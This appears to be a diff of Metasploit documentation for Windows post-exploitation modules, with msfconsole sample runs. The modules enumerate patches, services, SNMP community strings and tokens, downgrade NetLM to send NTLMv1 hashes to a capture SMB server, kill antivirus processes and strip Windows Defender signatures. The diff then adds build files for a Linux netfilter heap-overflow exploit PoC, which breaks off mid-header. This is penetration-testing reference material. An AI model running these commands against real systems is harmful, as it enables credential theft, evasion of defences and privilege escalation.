[*] Post module execution completed
```
@@ -1,59 +1,97 @@
## Vulnerable Application
This module will attempt to enumerate which patches are applied to a
Windows system, as well as on which date they were applied, based on
the result of the WMI query `SELECT HotFixID, InstalledOn FROM Win32_QuickFixEngineering`.
This module enumerates patches applied to a Windows system using the
WMI query: `SELECT HotFixID, InstalledOn FROM Win32_QuickFixEngineering`.
## Verification Steps
1. Start msfconsole
2. Get meterpreter session
3. Do: ```use post/windows/gather/enum_patches```
4. Do: ```set SESSION <session id>```
5. Do: ```run```
1. Start msfconsole
2. Get meterpreter session
3. Do: `use post/windows/gather/enum_patches`
4. Do: `set SESSION <session id>`
5. Do: `run`
## Options
**KB**
A comma separated list of KB patches to search for. Default is: `KB2871997, KB2928120`
**MSFLOCALS**
Search for missing patches for which there is a MSF local module. Default is `true`.
**SESSION**
The session to run this module on.
## Scenarios
### Windows 10 x64 v1909
### Windows 11 Pro 10.0.22000 Build 22000 x64
```
msf6 exploit(multi/handler) > use post/windows/gather/enum_patches
msf6 post(windows/gather/enum_patches) > show options
```
msf6 post(windows/gather/enum_patches) > set session 1
session => 1
msf6 post(windows/gather/enum_patches) > run
Module options (post/windows/gather/enum_patches):
[*] Running module against WINDEV2110EVAL (192.168.200.140)
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on.
Installed Patches
=================
msf6 post(windows/gather/enum_patches) > set SESSION 1
SESSION => 1
msf6 post(windows/gather/enum_patches) > run
HotFix ID Install Date
--------- ------------
KB5009469 2/27/2022
KB5009641 2/26/2022
KB5011493 3/5/2022
[*] Patch list saved to /home/gwillcox/.msf4/loot/20200902125729_default_172.29.215.21_enum_patches_495652.txt
[+] KB4569751 installed on 8/17/2020
[+] KB4497165 installed on 8/17/2020
[+] KB4517245 installed on 4/10/2020
[+] KB4537759 installed on 4/10/2020
[+] KB4552152 installed on 4/10/2020
[+] KB4561600 installed on 8/17/2020
[+] KB4569073 installed on 8/17/2020
[+] KB4565351 installed on 8/17/2020
[*] Post module execution completed
msf6 post(windows/gather/enum_patches) >
```
[*] Patch list saved to /root/.msf4/loot/20220911234321_default_192.168.200.140_enum_patches_485106.txt
[*] Post module execution completed
```
### Windows 7 SP1 x64
```
msf6 post(windows/gather/enum_patches) > set session 1
session => 1
msf6 post(windows/gather/enum_patches) > run
[*] Running module against TEST (192.168.200.190)
Installed Patches
=================
HotFix ID Install Date
--------- ------------
KB2533623 3/29/2019
KB2534111 2/1/2016
KB2639308 3/29/2019
KB2670838 3/29/2019
KB2729094 3/29/2019
KB2731771 3/29/2019
KB2786081 3/29/2019
KB2834140 3/29/2019
KB2841134 3/29/2019
KB2849696 3/29/2019
KB2849697 3/29/2019
KB2882822 3/29/2019
KB2888049 3/29/2019
KB2999226 9/4/2017
KB958488 5/26/2017
KB976902 11/21/2010
[*] Patch list saved to /root/.msf4/loot/20220911233948_default_192.168.200.190_enum_patches_697182.txt
[*] Post module execution completed
```
### Windows XP SP3 x86
```
msf6 post(windows/gather/enum_patches) > set session 1
session => 1
msf6 post(windows/gather/enum_patches) > run
[*] Running module against WINXP (192.168.200.164)
Installed Patches
=================
HotFix ID Install Date
--------- ------------
KB811113 4/5/2013
KB936929 4/5/2013
Q147222
[*] Patch list saved to /root/.msf4/loot/20220911233635_default_192.168.200.164_enum_patches_552914.txt
[*] Post module execution completed
```
@@ -0,0 +1,172 @@
## Vulnerable Application
This module will query the system for services and return the display name and
configuration info for each returned service. You can also optionally
filter the results by using query strings to match on specific
credentials, paths, or start types and only return the results that match.
These query operations are cumulative and if no query strings are specified,
the module will just return all services. NOTE: If the script hangs,
Windows Defender Firewall is most likely on and you did not migrate
to a safe process (explorer.exe for example).
## Verification Steps
1. Start msfconsole
2. Get a session
3. Do: `use post/windows/gather/enum_services`
4. Do: `set SESSION <session id>`
5. Do: `run`
## Options
### CRED
String to search returned service credentials for.
### PATH
String to search returned service paths for.
### TYPE
Service startup types to display (`All`, `Auto`, `Manual`, `Disabled`) (default: `All`)
## Scenarios
### Windows Server 2008 SP1 (x64)
```
msf6 > use post/windows/gather/enum_services
msf6 post(windows/gather/enum_services) > set session 1
session => 1
msf6 post(windows/gather/enum_services) > run
[*] Listing Service Info for matching services, please wait...
[+] New service credential detected: AeLookupSvc is running as 'localSystem'
[+] New service credential detected: ALG is running as 'NT AUTHORITY\LocalService'
[+] New service credential detected: CryptSvc is running as 'NT Authority\NetworkService'
[*] Found 114 Windows services matching filters
Services
========
Name Credentials Command Startup
---- ----------- ------- -------
ALG NT AUTHORITY\LocalService Manual C:\Windows\System32\alg.exe
AeLookupSvc localSystem Auto C:\Windows\system32\svchost.exe -k netsvcs
AppMgmt LocalSystem Manual C:\Windows\system32\svchost.exe -k netsvcs
Appinfo LocalSystem Manual C:\Windows\system32\svchost.exe -k netsvcs
AudioEndpointBuilder LocalSystem Manual C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted
AudioSrv NT AUTHORITY\LocalService Manual C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted
BFE NT AUTHORITY\LocalService Auto C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork
BITS LocalSystem Auto C:\Windows\System32\svchost.exe -k netsvcs
Browser LocalSystem Disabled C:\Windows\System32\svchost.exe -k netsvcs
COMSysApp LocalSystem Manual C:\Windows\system32\dllhost.exe /Processid:{02D4B3F1-FD88-11D1-960D-00805FC79235}
CertPropSvc LocalSystem Manual C:\Windows\system32\svchost.exe -k netsvcs
CryptSvc NT Authority\NetworkService Auto C:\Windows\system32\svchost.exe -k NetworkService
CscService LocalSystem Disabled C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted
DFSR LocalSystem Auto C:\Windows\system32\DFSRs.exe
DNS LocalSystem Auto C:\Windows\system32\dns.exe
DPS NT AUTHORITY\LocalService Auto C:\Windows\System32\svchost.exe -k LocalServiceNoNetwork
DcomLaunch LocalSystem Auto %SystemRoot%\system32\svchost.exe -k DcomLaunch
Dfs LocalSystem Auto C:\Windows\system32\dfssvc.exe
Dhcp NT Authority\LocalService Auto C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted
Dnscache NT AUTHORITY\NetworkService Auto C:\Windows\system32\svchost.exe -k NetworkService
EapHost localSystem Manual C:\Windows\System32\svchost.exe -k netsvcs
EventLog NT AUTHORITY\LocalService Auto C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted
EventSystem NT AUTHORITY\LocalService Auto C:\Windows\system32\svchost.exe -k LocalService
FCRegSvc NT AUTHORITY\LocalService Manual C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted
FDResPub NT AUTHORITY\LocalService Manual C:\Windows\system32\svchost.exe -k LocalService
IKEEXT LocalSystem Auto C:\Windows\system32\svchost.exe -k netsvcs
IPBusEnum LocalSystem Disabled C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted
IsmServ LocalSystem Auto C:\Windows\System32\ismserv.exe
KeyIso LocalSystem Manual C:\Windows\system32\lsass.exe
KtmRm NT AUTHORITY\NetworkService Auto C:\Windows\System32\svchost.exe -k NetworkService
LanmanServer LocalSystem Auto C:\Windows\system32\svchost.exe -k netsvcs
LanmanWorkstation NT AUTHORITY\LocalService Auto C:\Windows\System32\svchost.exe -k LocalService
MMCSS LocalSystem Manual C:\Windows\system32\svchost.exe -k netsvcs
MSDTC NT AUTHORITY\NetworkService Auto C:\Windows\System32\msdtc.exe
MSiSCSI LocalSystem Manual C:\Windows\system32\svchost.exe -k netsvcs
MpsSvc NT Authority\LocalService Auto C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork
Netlogon LocalSystem Auto C:\Windows\system32\lsass.exe
Netman LocalSystem Manual C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted
NlaSvc NT AUTHORITY\NetworkService Auto C:\Windows\System32\svchost.exe -k NetworkService
NtFrs LocalSystem Auto C:\Windows\system32\ntfrs.exe
PerfHost NT AUTHORITY\LocalService Manual C:\Windows\SysWow64\perfhost.exe
PlugPlay LocalSystem Auto C:\Windows\system32\svchost.exe -k DcomLaunch
PolicyAgent NT Authority\NetworkService Auto C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted
ProfSvc LocalSystem Auto C:\Windows\system32\svchost.exe -k netsvcs
ProtectedStorage LocalSystem Manual C:\Windows\system32\lsass.exe
RSoPProv LocalSystem Manual C:\Windows\system32\RSoPProv.exe
RasAuto localSystem Manual C:\Windows\System32\svchost.exe -k netsvcs
RasMan localSystem Manual C:\Windows\System32\svchost.exe -k netsvcs
RemoteAccess localSystem Disabled C:\Windows\System32\svchost.exe -k netsvcs
RemoteRegistry NT AUTHORITY\LocalService Auto C:\Windows\system32\svchost.exe -k regsvc
RpcLocator NT AUTHORITY\NetworkService Manual C:\Windows\system32\locator.exe
RpcSs NT AUTHORITY\NetworkService Auto %SystemRoot%\system32\svchost.exe -k rpcss
SCPolicySvc LocalSystem Manual C:\Windows\system32\svchost.exe -k netsvcs
SCardSvr NT AUTHORITY\LocalService Manual C:\Windows\system32\svchost.exe -k LocalService
SENS LocalSystem Auto C:\Windows\system32\svchost.exe -k netsvcs
SLUINotify NT AUTHORITY\LocalService Manual C:\Windows\system32\svchost.exe -k LocalService
SNMP LocalSystem Auto C:\Windows\System32\snmp.exe
SNMPTRAP NT AUTHORITY\LocalService Manual C:\Windows\System32\snmptrap.exe
SSDPSRV NT AUTHORITY\LocalService Disabled C:\Windows\system32\svchost.exe -k LocalService
SamSs LocalSystem Auto C:\Windows\system32\lsass.exe
Schedule LocalSystem Auto C:\Windows\system32\svchost.exe -k netsvcs
SessionEnv localSystem Manual C:\Windows\System32\svchost.exe -k netsvcs
SharedAccess LocalSystem Disabled C:\Windows\System32\svchost.exe -k netsvcs
ShellHWDetection LocalSystem Auto C:\Windows\System32\svchost.exe -k netsvcs
Spooler LocalSystem Auto C:\Windows\System32\spoolsv.exe
SstpSvc NT Authority\LocalService Manual C:\Windows\system32\svchost.exe -k LocalService
SysMain LocalSystem Disabled C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted
TBS NT AUTHORITY\LocalService Auto C:\Windows\System32\svchost.exe -k LocalService
THREADORDER NT AUTHORITY\LocalService Manual C:\Windows\system32\svchost.exe -k LocalService
TapiSrv NT AUTHORITY\NetworkService Manual C:\Windows\System32\svchost.exe -k tapisrv
TermService NT Authority\NetworkService Auto C:\Windows\System32\svchost.exe -k NetworkService
Themes LocalSystem Disabled C:\Windows\System32\svchost.exe -k netsvcs
TrkWks LocalSystem Manual C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted
TrustedInstaller localSystem Manual C:\Windows\servicing\TrustedInstaller.exe
UI0Detect LocalSystem Manual C:\Windows\system32\UI0Detect.exe
UmRdpService localSystem Manual C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted
UxSms localSystem Auto C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted
VSS LocalSystem Manual C:\Windows\system32\vssvc.exe
W32Time NT AUTHORITY\LocalService Auto C:\Windows\system32\svchost.exe -k LocalService
WPDBusEnum LocalSystem Manual C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted
WcsPlugInService NT AUTHORITY\LocalService Manual C:\Windows\system32\svchost.exe -k wcssvc
WdiServiceHost NT AUTHORITY\LocalService Manual C:\Windows\System32\svchost.exe -k wdisvc
WdiSystemHost LocalSystem Manual C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted
Wecsvc NT AUTHORITY\NetworkService Manual C:\Windows\system32\svchost.exe -k NetworkService
WerSvc localSystem Auto C:\Windows\System32\svchost.exe -k WerSvcGroup
WinHttpAutoProxySvc NT AUTHORITY\LocalService Manual C:\Windows\system32\svchost.exe -k LocalService
WinRM NT AUTHORITY\NetworkService Auto C:\Windows\System32\svchost.exe -k NetworkService
Winmgmt localSystem Auto C:\Windows\system32\svchost.exe -k netsvcs
clr_optimization_v2.0.50727_32 LocalSystem Manual C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorsvw.exe
clr_optimization_v2.0.50727_64 LocalSystem Manual C:\Windows\Microsoft.NET\Framework64\v2.0.50727\mscorsvw.exe
dot3svc localSystem Manual C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted
fdPHost NT AUTHORITY\LocalService Manual C:\Windows\system32\svchost.exe -k LocalService
gpsvc LocalSystem Auto C:\Windows\system32\svchost.exe -k GPSvcGroup
hidserv LocalSystem Manual C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted
hkmsvc localSystem Manual C:\Windows\System32\svchost.exe -k netsvcs
iphlpsvc LocalSystem Auto C:\Windows\System32\svchost.exe -k NetSvcs
kdc LocalSystem Auto C:\Windows\System32\lsass.exe
lltdsvc NT AUTHORITY\LocalService Manual C:\Windows\System32\svchost.exe -k LocalService
lmhosts NT AUTHORITY\LocalService Auto C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted
msiserver LocalSystem Manual C:\Windows\system32\msiexec /V
napagent NT AUTHORITY\NetworkService Manual C:\Windows\System32\svchost.exe -k NetworkService
netprofm NT AUTHORITY\LocalService Auto C:\Windows\System32\svchost.exe -k LocalService
nsi NT Authority\LocalService Auto C:\Windows\system32\svchost.exe -k LocalService
pla NT AUTHORITY\LocalService Manual %SystemRoot%\System32\svchost.exe -k LocalServiceNoNetwork
sacsvr LocalSystem Manual C:\Windows\System32\svchost.exe -k netsvcs
seclogon LocalSystem Auto C:\Windows\system32\svchost.exe -k netsvcs
slsvc NT AUTHORITY\NetworkService Auto C:\Windows\system32\SLsvc.exe
swprv LocalSystem Manual C:\Windows\System32\svchost.exe -k swprv
upnphost NT AUTHORITY\LocalService Disabled C:\Windows\system32\svchost.exe -k LocalService
vds LocalSystem Manual C:\Windows\System32\vds.exe
wercplsupport localSystem Manual C:\Windows\System32\svchost.exe -k netsvcs
wmiApSrv localSystem Manual C:\Windows\system32\wbem\WmiApSrv.exe
wuauserv LocalSystem Auto C:\Windows\system32\svchost.exe -k netsvcs
wudfsvc LocalSystem Manual C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted
[+] Loot file stored in: /root/.msf4/loot/20220820231513_default_192.168.200.218_windows.services_350986.txt
[*] Post module execution completed
```
@@ -0,0 +1,45 @@
## Vulnerable Application
This module will enumerate the SNMP service configuration.
## Verification Steps
1. Start msfconsole
2. Get a session
3. Do: `use post/windows/gather/enum_snmp`
4. Do: `set SESSION <session id>`
5. Do: `run`
## Options
## Scenarios
### Windows Server 2008 (x64)
```
msf6 > use post/windows/gather/enum_snmp
msf6 post(windows/gather/enum_snmp) > set session 1
session => 1
msf6 post(windows/gather/enum_snmp) > run
[*] Running module against WIN-17B09RRRJTG (192.168.200.218)
[*] Checking if SNMP service is installed
[*] SNMP is installed!
[*] Enumerating community strings
[*]
[*] Community Strings
[*] =================
[*]
[*] Name Type
[*] ---- ----
[*] secret READ & WRITE
[*] test READ ONLY
[*]
[*] Enumerating Permitted Managers for Community Strings
[*] SNMP packets are accepted from any host
[*] Enumerating Trap configuration
[*] Community Name: test
[*] Destination: 127.0.0.1
[*] Destination: snmp.local
[*] Post module execution completed
```
@@ -0,0 +1,49 @@
## Vulnerable Application
This module enumerates Domain Admin account processes and delegation tokens.
This module will first check if the session has sufficient privileges
to replace process level tokens and adjust process quotas.
The SeAssignPrimaryTokenPrivilege privilege will not be assigned if
the session has been elevated to SYSTEM. In that case try first
migrating to another process that is running as SYSTEM.
## Verification Steps
1. Start msfconsole
1. Get a Meterpreter session on a Windows target on a domain
1. Do: `use post/windows/gather/enum_tokens`
1. Do: `set session [#]`
1. Do: `run`
1. You should receive a list of Domain Admin account processes and delegation tokens
## Options
### GETSYSTEM
Attempt to get SYSTEM privilege on the target host. (default: `true`)
## Scenarios
### Local Administrator session on Windows Server 2008 SP1 (x64)
```
msf6 post(windows/gather/enum_tokens) > set session 1
session => 1
msf6 post(windows/gather/enum_tokens) > set getsystem false
getsystem => false
msf6 post(windows/gather/enum_tokens) > run
[*] Running module against WIN-17B09RRRJTG (192.168.200.218)
[+] Found token for session 1 (192.168.200.218) - Administrator (Delegation Token)
[+] Found process on session 1 (192.168.200.218) - Administrator (PID: 3344) (cmd.exe)
[+] Found process on session 1 (192.168.200.218) - Administrator (PID: 2420) (calc.exe)
[+] Found process on session 1 (192.168.200.218) - Administrator (PID: 2220) (reverse.x64.1337.exe)
[+] Found token for session 1 (192.168.200.218) - corpadmin (Delegation Token)
[+] Found process on session 1 (192.168.200.218) - corpadmin (PID: 1764) (cmd.exe)
[*] Post module execution completed
```
@@ -0,0 +1,100 @@
## Vulnerable Application
This module changes the system `LmCompatibilityLevel` registry value
to enable sending LM challenge hashes and initiates a SMB connection
to the host specified in the SMBHOST module option. If an SMB server
is listening, it will receive the NetLM hashes for the session user.
## Verification Steps
1. Start msfconsole
2. Get a session
3. Do: `use post/windows/gather/netlm_downgrade`
4. Do: `set SESSION <session id>`
5. Start a SMB server to capture hashes
6. Do: `set SMBHOST <SMB server IP address>`
7. Do: `run`
## Options
### SMBHOST
IP address of SMB server to capture hashes.
## Scenarios
### Windows 11 Pro 10.0.22000 Build 22000 x64
```
msf6 > use auxiliary/server/capture/smb
msf6 auxiliary(server/capture/smb) > run
[*] Auxiliary module running as background job 2.
[*] Server is running. Listening on 0.0.0.0:445
[*] Server started.
msf6 auxiliary(server/capture/smb) > use post/windows/gather/netlm_downgrade
msf6 post(windows/gather/netlm_downgrade) > set session 1
session => 1
msf6 post(windows/gather/netlm_downgrade) > run
[*] Running module against WINDEV2110EVAL (192.168.200.140)
[*] NetLM authentication is disabled (LmCompatibilityLevel: nil). Enabling ...
[+] NetLM authentication is enabled
[*] Establishing SMB connection to 192.168.200.130
[+] Received SMB connection on Auth Capture Server!
[SMB] NTLMv1-SSP Client : 192.168.200.140
[SMB] NTLMv1-SSP Username : WINDEV2110EVAL\User
[SMB] NTLMv1-SSP Hash : User::WINDEV2110EVAL:414a0d26193abde800000000000000000000000000000000:44d90728eeb025c1dcf4730a0282422614cbc8e590e99a11:b0e33cde858f04d5
[+] SMB server 192.168.200.130 should now have NetLM hashes
[*] Restoring original LM compatibility level (LmCompatibilityLevel: nil)
[*] Post module execution completed
msf6 post(windows/gather/netlm_downgrade) >
```
### Windows Server 2008 SP1 (x64)
```
msf6 > use auxiliary/server/capture/smb
msf6 auxiliary(server/capture/smb) > run
[*] Auxiliary module running as background job 2.
[*] Server is running. Listening on 0.0.0.0:445
[*] Server started.
msf6 auxiliary(server/capture/smb) > use post/windows/gather/netlm_downgrade
msf6 post(windows/gather/netlm_downgrade) > set smbhost 192.168.200.130
smbhost => 192.168.200.130
msf6 post(windows/gather/netlm_downgrade) > set session 1
session => 1
msf6 post(windows/gather/netlm_downgrade) > run
[*] Running module against WIN-17B09RRRJTG (192.168.200.218)
[*] NetLM authentication is disabled (LmCompatibilityLevel: 3). Enabling ...
[+] NetLM authentication is enabled (LmCompatibilityLevel: 0)
[*] Establishing SMB connection to 192.168.200.130
[+] Received SMB connection on Auth Capture Server!
[SMB] NTLMv1-SSP Client : 192.168.200.218
[SMB] NTLMv1-SSP Username : CORP\corpadmin
[SMB] NTLMv1-SSP Hash : corpadmin::CORP:de7f490cc7f7f8a700000000000000000000000000000000:8a34755c17fdbd4f1d7338b5ed7617e2000f071f05869f2e:c30fd80a6709381b
[+] SMB server 192.168.200.130 should now have NetLM hashes
[*] Restoring original LM compatibility level (LmCompatibilityLevel: 3)
[*] Post module execution completed
msf6 post(windows/gather/netlm_downgrade) >
```
Alternatively, the SMB connection can captured using [Responder](https://github.com/lgandx/Responder):
```
$ sudo responder -A -I eth0 --lm -v
[...]
[SMB] NTLMv1 Client : 192.168.200.218
[SMB] NTLMv1 Username : CORP\corpadmin
[SMB] NTLMv1 Hash : corpadmin::CORP:3FFCF0AED51EF9784B17BF71859355CA0FF968A42BF925D4:3FFCF0AED51EF9784B17BF71859355CA0FF968A42BF925D4:07168acbca2d7e8e
```
@@ -0,0 +1,51 @@
## Vulnerable Application
This module executes WMIC commands on the specified host.
## Verification Steps
1. Start msfconsole
1. Get a Meterpreter session on a Windows target
1. Do: `use post/windows/gather/wmic_command`
1. Do: `set session [#]`
1. Do: `set command [wmic command]`
1. Do: `run`
1. You should receive WMIC command output
## Options
### RESOURCE
Full path to resource file containing WMIC commands.
### COMMAND
WMIC command.
## Scenarios
### Windows Server 2008 SP1 (x64)
```
msf6 > use post/windows/gather/wmic_command
msf6 post(windows/gather/wmic_command) > set session 1
session => 1
msf6 post(windows/gather/wmic_command) > set command os
command => os
msf6 post(windows/gather/wmic_command) > run
[*] Running module against WIN-17B09RRRJTG (192.168.200.218)
[*] Running WMIC command: os
[*] Command output saved to: /root/.msf4/loot/20220922071306_default_192.168.200.218_host.command.wmi_789917.txt
[*] Post module execution completed
msf6 post(windows/gather/wmic_command) > cat /root/.msf4/loot/20220922071306_default_192.168.200.218_host.command.wmi_789917.txt
[*] exec: cat /root/.msf4/loot/20220922071306_default_192.168.200.218_host.command.wmi_789917.txt
BootDevice BuildNumber BuildType Caption CodeSet CountryCode CreationClassName CSCreationClassName CSDVersion CSName CurrentTimeZone DataExecutionPrevention_32BitApplications DataExecutionPrevention_Available DataExecutionPrevention_Drivers DataExecutionPrevention_SupportPolicy Debug Description Distributed EncryptionLevel ForegroundApplicationBoost FreePhysicalMemory FreeSpaceInPagingFiles FreeVirtualMemory InstallDate LargeSystemCache LastBootUpTime LocalDateTime Locale Manufacturer MaxNumberOfProcesses MaxProcessMemorySize MUILanguages Name NumberOfLicensedUsers NumberOfProcesses NumberOfUsers OperatingSystemSKU Organization OSArchitecture OSLanguage OSProductSuite OSType OtherTypeDescription PAEEnabled PlusProductID PlusVersionNumber Primary ProductType QuantumLength QuantumType RegisteredUser SerialNumber ServicePackMajorVersion ServicePackMinorVersion SizeStoredInPagingFiles Status SuiteMask SystemDevice SystemDirectory SystemDrive TotalSwapSpaceSize TotalVirtualMemorySize TotalVisibleMemorySize Version WindowsDirectory
\Device\HarddiskVolume1 6001 Multiprocessor Free Microsoft Windows Server 2008 Enterprise 1252 1 Win32_OperatingSystem Win32_ComputerSystem Service Pack 1 WIN-17B09RRRJTG 600 TRUE TRUE TRUE 3 FALSE FALSE 256 2 507164 1354124 1788752 20220722133039.000000+600 20220922115509.500000+600 20220922211154.399000+600 0409 Microsoft Corporation -1 8589934464 {"en-US"} Microsoft Windows Server 2008 Enterprise |C:\Windows|\Device\Harddisk0\Partition1 47 4 10 64-bit 1033 274 18 TRUE 2 1 1 Windows User 92516-083-1766663-76902 1 0 1354124 OK 274 \Device\HarddiskVolume1 C:\Windows\system32 C: 2358168 1046924 6.0.6001 C:\Windows
msf6 post(windows/gather/wmic_command) >
```
@@ -0,0 +1,34 @@
## Vulnerable Application
This module attempts to locate and terminate any processes that are identified
as being Antivirus or Host-based IPS related.
## Verification Steps
1. Start msfconsole
2. Get a session
3. Do: `use post/windows/manage/killav`
4. Do: `set SESSION <session id>`
5. Do: `run`
## Options
## Scenarios
### Windows 7 SP1 (x64)
```
msf6 > use post/windows/manage/killav
msf6 post(windows/manage/killav) > set session 1
session => 1
msf6 post(windows/manage/killav) > run
[*] Attempting to terminate 'antivirus.exe' (PID: 5340) ...
[+] antivirus.exe (PID: 5340) terminated.
[*] Attempting to terminate 'regedit.exe' (PID: 2296) ...
[+] regedit.exe (PID: 2296) terminated.
[+] A total of 2 process(es) were discovered, 2 were terminated.
[*] Post module execution completed
msf6 post(windows/manage/killav) >
```
@@ -1,81 +1,122 @@
## Vulnerable Application
### Overview
This module requires system privs
This module rolls back the signatures in windows defender to the
earliest signatures. The level of protection is somewhat indeterminate.
This module rolls back the signatures in Windows Defender to the
earliest signatures. The level of protection is somewhat indeterminate.
This action is accomplished by running the command:
`MpCmdRun.exe -RemoveDefinitions -All`
To recover, you can run
`MpCmdRun.exe -UpdateSignatures`
That will force defender to update the signatures to the latest version
from
To recover, you can run `MpCmdRun.exe -UpdateSignatures`.
That will force Windows Defender to update the signatures
to the latest version available from Microsoft.
## Verification Steps
1. Get a Meterpreter session as the `NT AUTHORITY\SYSTEM` user.
1. `use post/windows/manage/rollback_defender_signatures`
1. `set SESSION <ID of Meterpreter session>`
1. Optionally set the ACTION to run with `set ACTION <action to run>`
1. `run`
###Vulnerable Applications
Windows defender is the target, though this is a feature
## Options
### ACTION
#### ROLLBACK
Rolls the Windows Defender signature definitions back to the earliest available signatures.
###Verification Steps
### UPDATE
Updates the Windows Defender signature definitions to the latest versions available from Microsoft.
## Scenarios
### ROLLBACK Action on Windows Server 2022
```
msf5 post(windows/manage/rollback_defender_signatures) > sessions -i -1
[*] Starting interaction with 3...
msf6 > sessions
meterpreter > sysinfo
Computer : WIN-5ADJK2NT7IJ
OS : Windows 7 (Build 7600).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x64/windows
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > background
[*] Backgrounding session 3...
msf5 post(windows/manage/rollback_defender_signatures) > show options
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x86/windows NT AUTHORITY\SYSTEM @ WIN-BR0CCBA815B 172.28.94.235:45437 -> 172.28.82.203:4444 (172.28
.82.203)
msf6 > use post/windows/manage/rollback_defender_signatures
msf6 post(windows/manage/rollback_defender_signatures) > set SESSION 1
SESSION => 1
msf6 post(windows/manage/rollback_defender_signatures) > show options
Module options (post/windows/manage/rollback_defender_signatures):
Name Current Setting Required Description
---- --------------- -------- -----------
ACTION Update yes Action to perform (Update/Rollback) (Accepted: Rollback, Update)
SESSION 3 yes The session to run this module on.
SESSION 1 yes The session to run this module on
msf5 post(windows/manage/rollback_defender_signatures) > set action rollback
action => rollback
msf5 post(windows/manage/rollback_defender_signatures) > set verbose true
verbose => true
msf5 post(windows/manage/rollback_defender_signatures) > show options
Module options (post/windows/manage/rollback_defender_signatures):
Post action:
Name Current Setting Required Description
---- --------------- -------- -----------
ACTION rollback yes Action to perform (Update/Rollback) (Accepted: rollback, update)
SESSION 3 yes The session to run this module on.
Name Description
---- -----------
ROLLBACK Rollback Defender signatures
msf5 post(windows/manage/rollback_defender_signatures) > run
[*] program_path = C:\Program Files
[*] file_path = C:\Program Files\Windows Defender\MpCmdRun.exe
[*] Removing All Definitions for Windows Defender
[*] rollback
msf6 post(windows/manage/rollback_defender_signatures) > run
[*] Removing all definitions for Windows Defender
[*] Running cmd.exe /c "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
[*]
Service Version: 6.1.7600.16385
Engine Version: 1.1.15400.5
AntiSpyware Signature Version: 1.281.1013.0e[*] Post module execution completed
Service Version: 4.18.2207.7
Engine Version: 1.1.19600.3
AntiSpyware Signature Version: 1.375.652.0
AntiVirus Signature Version: 1.375.652.0
Starting engine and signature rollback to none...
Done!
[*] Post module execution completed
msf6 post(windows/manage/rollback_defender_signatures) >
```
## UPDATE Action on Windows Server 2022
```
msf6 > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x86/windows NT AUTHORITY\SYSTEM @ WIN-BR0CCBA815B 172.28.94.235:45437 -> 172.28.82.203:4444 (172.28
.82.203)
msf6 > use post/windows/manage/rollback_defender_signatures
msf6 post(windows/manage/rollback_defender_signatures) > set SESSION 1
SESSION => 1
msf6 post(windows/manage/rollback_defender_signatures) > set ACTION UPDATE
ACTION => UPDATE
msf6 post(windows/manage/rollback_defender_signatures) > show options
### Options
Module options (post/windows/manage/rollback_defender_signatures):
Name Current Setting Required Description
---- --------------- -------- -----------
ACTION rollback yes Action to perform (Update/Rollback) (Accepted: rollback, update)
SESSION 3 yes The session to run this module on.
SESSION 1 yes The session to run this module on
Session is standard
ACTION is what you would like to do. Rollback rolls the definitions
back to the original, update updates the signatures. In theory, on
a normal system, rollback will push to old definitions, and update will
return the definitions.
Post action:
Name Description
---- -----------
UPDATE Update Defender signatures
msf6 post(windows/manage/rollback_defender_signatures) > run
[*] Updating definitions for Windows Defender
[*] Running cmd.exe /c "C:\Program Files\Windows Defender\MpCmdRun.exe" -SignatureUpdate
[*] Signature update started . . .
Service Version: 4.18.2207.7
Engine Version: 1.1.19600.3
AntiSpyware Signature Version: 1.375.652.0
AntiVirus Signature Version: 1.375.652.0
Signature update finished. No updates needed
[*] Post module execution completed
msf6 post(windows/manage/rollback_defender_signatures) >
```
+30
View File
@@ -0,0 +1,30 @@
.PHONY: all debug clean
TARGET=ubuntu.elf
SOURCES = $(wildcard src/*.c)
HEADERS = $(wildcard inc/*.h)
OBJECTS = $(patsubst src/%.c,obj/%.o,$(SOURCES))
CFLAGS= -I./inc
CFLAGS += -Os
LDFLAGS= -pthread -static
all: obj $(TARGET)
debug: CFLAGS += -DDEBUG
debug: $(TARGET)
$(TARGET): $(OBJECTS)
$(CC) $(LDFLAGS) -o $@ $^
strip $@
obj/%.o: src/%.c
$(CC) -c $< -o $@ $(CFLAGS)
obj:
mkdir obj
clean:
rm -rf obj
rm -f $(TARGET)
+16
View File
@@ -0,0 +1,16 @@
# Netfilter tables API heap buffer overflow
PoC of the exploitation of a heap buffer overflow in the linux kernel.
Available for Linux 5.18-rc3
The concerned function is `nft_add_set_elem` in `net/netfilter/nf_tables_api.c`
## Build
```sh
make
```
If you want a verbose version of this PoC, you can build it with
```sh
make debug
```
+40
View File
@@ -0,0 +1,40 @@
#ifndef _KEYRING_H_
#define _KEYRING_H_
#include <stdint.h>
#include <unistd.h>
#include <sys/syscall.h>
#define KEY_DESC_MAX_SIZE 40
#define PREFIX_BUF_LEN 16
#define RCU_HEAD_LEN 16
#define SPRAY_KEY_SIZE 50
struct keyring_payload {
